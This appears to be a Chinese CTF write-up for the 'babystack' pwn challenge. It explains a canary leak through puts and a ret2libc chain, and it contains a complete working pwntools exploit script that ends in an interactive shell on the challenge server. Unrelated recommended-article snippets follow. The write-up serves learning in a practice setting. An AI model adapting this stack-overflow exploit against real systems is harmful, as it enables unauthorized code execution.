一道泄露canary+rop常规的题。

  这道题让我学习到了,原来canary的最后一位是\x00,又因为是小端存储,所以在内存中我位置是在开头的。

  来,下载文件检查一下保护。

  

  开启了canary和nx保护,ida看一眼伪c代码。

  

  一个菜单类型的题,大概就是1是存储数据,2是输出数据,3是退出。puts函数输出是遇到\x00才停止输出,那么我们如果能够把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。接下来就是rop的常规操作了。这里我还犹豫泄露libc版本的时候需要返回跳到main函数,需不需要再泄露一次canary,后来发现canary的值没有变,这样我们就不用再费事了。贴一下exp啦!

  

 1 from pwn import *
2 import time
3
4 #p = process('./babystack')
5 p = remote('node3.buuoj.cn',27237)
6 elf = ELF('./babystack')
7 context.log_level = 'debug'
8
9 p.sendlineafter('> ','1')
10 p.sendline('a'*0x88)
11 p.sendlineafter('> ','2')
12 p.recvuntil('aaaa\n')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->' + hex(canary)
15 #leak canary
16
17 pop_rdi = 0x0400a93
18 puts_plt = elf.plt['puts']
19 puts_got = elf.got['puts']
20 main_addr = 0x0400908
21 p.sendlineafter('> ','1')
22 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
23 p.sendline(payload)
24 p.recv()
25 p.sendlineafter('> ','3')
26 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
27 print 'puts_addr-->' + hex(puts_addr)
28 #leak libc
29
30 sleep(1)
31 base_addr = puts_addr - 0x06f690
32 system_addr= base_addr + 0x045390
33 binsh_addr = base_addr + 0x18cd57
34 p.sendline('1')
35 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
36 p.sendline(payload)
37 sleep(1)
38 p.sendlineafter('> ','3')
39 p.interactive()
40 p.close()
41 #getshell

others_babystack的更多相关文章

  1. [BUUCTF]PWN——others_babystack

    others_babystack 附件 步骤: 例行检查,64位程序,开了挺多保护 本地试运行一下程序 64位ida载入,看main函数 1是read函数,存在栈溢出:2是puts函数,3退出 利用思 ...

随机推荐

  1. [atAGC034F]RNG and XOR

    令$N=2^{n}$先将$\forall 0\le i<N,a_{i}$除以$\sum_{i=0}^{N-1}a_{i}$,即变为概率 令$f_{i}$表示$i$的答案(第一次变成$i$的期望步 ...

  2. [atARC094F]Normalization

    考虑$s$能变成$t$的必要条件(假设$s\ne t$): 1.$s$中存在一对相邻字符不同 2.$|s|=|t|$且若将a-c对应为0-2,则字符模3同余: 3.$t$中存在一对相邻两个字符相同 同 ...

  3. 论文解读(node2vec)《node2vec Scalable Feature Learning for Networks》

    论文题目:<node2vec Scalable Feature Learning for Network>发表时间:  KDD 2016 论文作者:  Aditya Grover;Adit ...

  4. github文件下载加速器

    https://d.serctl.com/?dl_start

  5. 联盛德 HLK-W806 (一): Ubuntu20.04下的开发环境配置, 编译和烧录说明

    目录 联盛德 HLK-W806 (一): Ubuntu20.04下的开发环境配置, 编译和烧录说明 联盛德 HLK-W806 (二): Win10下的开发环境配置, 编译和烧录说明 联盛德 HLK-W ...

  6. BZOJ 3729 - Gty的游戏(Staircase 博弈+时间轴分块)

    题面传送门 介于自己以前既没有写过 Staircase-Nim 的题解,也没写过时间轴分块的题解,所以现在就来写一篇吧(fog 首先考虑最极端的情况,如果图是一条链,并且链的一个端点是 \(1\),那 ...

  7. 创建一个vue实例

    创建一个vue实例 每个 Vue 应用都是通过用 Vue 函数创建一个新的 Vue 实例开始的: var vm = new Vue({ // 选项 }) 虽然没有完全遵循 MVVM 模型,但是 Vue ...

  8. 一个简单的BypassUAC编写

    什么是UAC? UAC是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码.通过在 ...

  9. 【每天五分钟大数据-第一期】 伪分布式+Hadoopstreaming

    说在前面 之前一段时间想着把 LeetCode 每个专题完结之后,就开始着手大数据和算法的内容. 想来想去,还是应该穿插着一起做起来. 毕竟,如果只写一类的话,如果遇到其他方面,一定会遗漏一些重要的点 ...

  10. MPI 学习笔记

    目录 MPI学习笔记 MPI准备 概述 前置知识补充 环境部署 1.修改IP及主机名 2.关闭防火墙 3.实现免密码SSH登录 4.配置MPI运行环境 5.测试 程序的执行 编译语句 运行语句 MPI ...